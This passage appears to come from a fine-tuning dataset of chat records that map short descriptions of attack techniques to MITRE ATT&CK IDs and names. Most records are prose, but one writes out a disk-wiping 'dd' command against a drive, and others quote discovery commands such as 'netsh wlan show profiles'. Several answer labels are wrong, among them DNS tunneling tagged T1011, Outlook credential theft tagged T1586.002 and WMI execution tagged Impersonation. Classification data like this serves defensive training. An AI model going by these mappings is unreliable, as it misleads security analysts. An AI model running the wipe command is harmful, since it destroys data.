                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan uses Windows API calls to retrieve a list of currently connected printers and external drives."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistence module drops a time provider DLL and registers it via the Windows registry to run on every boot."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exfiltrating password hashes, the attackers leveraged GPU‑accelerated tools to perform mass password cracking offline."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged \"docker container stop\" to disrupt legitimate services before deploying ransomware inside the same host."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the 'whoami /all' command to gather information about local user groups and accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the Windows Kernel Transaction Manager to perform a stealthy process injection, known as process doppelgänging, to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary enumerates network configuration by executing \"wget -qO- http://api.ipify.org\" to get the internet connection details."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant detects virtualization environments and debugger artifacts before executing its payload."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged the Windows Credential Editor tool to capture cached domain credentials from memory."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary changes the content of a shared presentation file in a collaboration tool, adding a macro that runs a PowerShell command when opened."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed their command payloads in a legitimate web API, using it as a dead‑drop resolver to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers used DNS tunneling to send encrypted data fragments to a command-and-control server, avoiding detection."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker establishes a covert channel by encrypting data with a newly generated RSA key pair and only sharing the public key with the victim."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using WMI, the threat actor executed a remote process creation call to launch cmd.exe with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a vulnerable serverless function runtime version to achieve remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators edit the Netlogon signing requirements on the domain controller to bypass cryptographic verification."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a breach, the adversary accessed a developer's home directory and copied the .pem files containing private keys."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafted a Python-based keylogger that captures keystrokes and forwards them over an encrypted channel."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware renames its encrypted files with a .txt extension to avoid suspicion."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary abuses Windows Management Instrumentation to execute commands under a compromised account."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware replaces the default GetPassword function in a custom application to record user passwords."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects code that logs clipboard events and exfiltrates the data over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries transfer a custom backdoor binary to other compromised endpoints via Windows admin shares for lateral execution."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries a Vault service with stolen tokens to retrieve stored configuration secrets."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries configure a compromised system as a forwarding proxy, allowing them to hide the true source of their outbound traffic within the victim network."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on a victim machine searches for .git directories and extracts the .git/config to locate remote origins."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use the Windows utility InstallUtil.exe to execute malicious .NET assemblies, leveraging it as a proxy for code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the RtlCreateUserThread native API to inject code into a privileged process."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a fake Microsoft Teams chat, the threat actor lures a user to click a link that leads to a credential harvesting site."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware queries the victim's system for its own IP address and that of other devices on the same subnet."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious macro in a Word document adds a registry key to HKCU\\Software\\Microsoft\\Office\\Word\\Options to run a script."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a Word document opens the default browser and scrapes active session tokens."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware utilizes the victim's legitimate web API (e.g., Slack, Dropbox) for command and control."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor alters the target path of a scheduled task’s shortcut to execute a rogue binary at system boot."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a supply chain compromise, the attackers replace legitimate XSLT files with malicious ones that trigger script execution on client systems."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script copies /etc/passwd and /etc/shadow to a remote server for credential collection."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update to a popular browser plugin reads the password store of the user's default browser and sends the data to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged free WHOIS services to collect technical contact information of target domains for credential phishing."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries upload stolen confidential documents to a public GitHub repository to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor is installed by adding a scheduled task that runs a hidden executable daily."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor retrieves additional cloud service account keys from a compromised backup script and uses them to access databases."
            },
            {
                "role": "assistant",
                "content": "T1098.001 - Account Manipulation: Additional Cloud Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool uses the 'ipconfig' command and parses the 'IPv4 Address' field to locate the system's outward-facing IP."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider runs a Python script that calls the OCI (Oracle Cloud Infrastructure) CreateVolumeBackup API to snapshot a block volume."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT modifies the PAM module order to prioritize a rogue authentication plugin that sends credentials to an external server."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary utilized the cmstp utility to load a malicious INF that performed DLL side-loading, leading to persistent code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage the trusted developer utility MSBuild to bypass application whitelisting and run payloads."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a supply chain attack to inject malicious DLLs into a third‑party library bundled with the client binary."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service launches a fork bomb on an employee’s laptop, rapidly multiplying processes until the OS can no longer schedule new tasks."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a fraudulent QR code, the threat actor registers their device as a valid authenticator, intercepting future MFA tokens."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code edited /etc/audit/audit.rules to comment out all audit watches, effectively disabling logging."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installed on a victim’s machine reads the Outlook PST file and extracts email account credentials."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a malicious payload hidden within an audio clip's spectrogram, which is later reconstructed on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accessed an open resolver and performed zone‑transfer attempts to collect DNS zone data."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through social engineering, the attacker convinced a user to add a NOPASSWD entry for a custom script that exfiltrates data with root privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware switches to a backup command channel using common web traffic protocols after detecting that its original C2 endpoint is unreachable."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Reg.exe, the threat actor copies the HKLM\\SAM registry key to retrieve hashed credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script runs \"ipconfig /flushdns\" to clear DNS caches, making it harder to track command and control traffic."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies an existing launch daemon to point to a remote payload, ensuring persistence on macOS systems."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber actors compress a malicious payload into a zip archive and embed it within a PDF’s JavaScript, which extracts and runs the code when the PDF is viewed."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the unchanged default credentials for a database service, the adversary accessed sensitive records."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker probes for open SMB shares on the target's corporate network."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing message includes a zip archive named \"ProjectUpdate.zip\" containing a trojanized executable disguised as a PDF."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder creates a concealed staging path on the endpoint and deposits harvested data there."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑infection module enumerates all attached storage devices and runs 'dd if=/dev/zero of=/dev/sdb bs=1M' to zero‑out the drives."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor updates the site's robots.txt file to include defacement instructions for crawlers."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers embed malicious code inside a Windows shortcut file’s icon resource, allowing the payload to execute when the shortcut is displayed."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators use a utility to clear the hash values and signatures from a backdoor to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised admin account to download the device's configuration archive from a central repository for offline analysis."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware establishes a persistent DNS tunneling channel to communicate with its C2 server, embedding commands in DNS TXT records."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Mavinject, the adversary hijacks a running Windows service process to execute malicious functionality without dropping additional files."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a low‑level API call to clear the MOTW attribute on a downloaded script, allowing it to be executed without user prompts."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use netsh wlan show profiles to enumerate stored Wi‑Fi network credentials."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages the Google Cloud Platform API to add a new service account to the victim's project."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary disables critical PAM control flags, effectively disabling authentication checks and allowing unrestricted system access."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool loads a portable executable into a running service process using SetThreadContext to jump to the injected code."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing script is delivered via a malicious PowerPoint presentation that auto‑runs a VBA macro on opening."
            },
            {
                "role": "assistant",
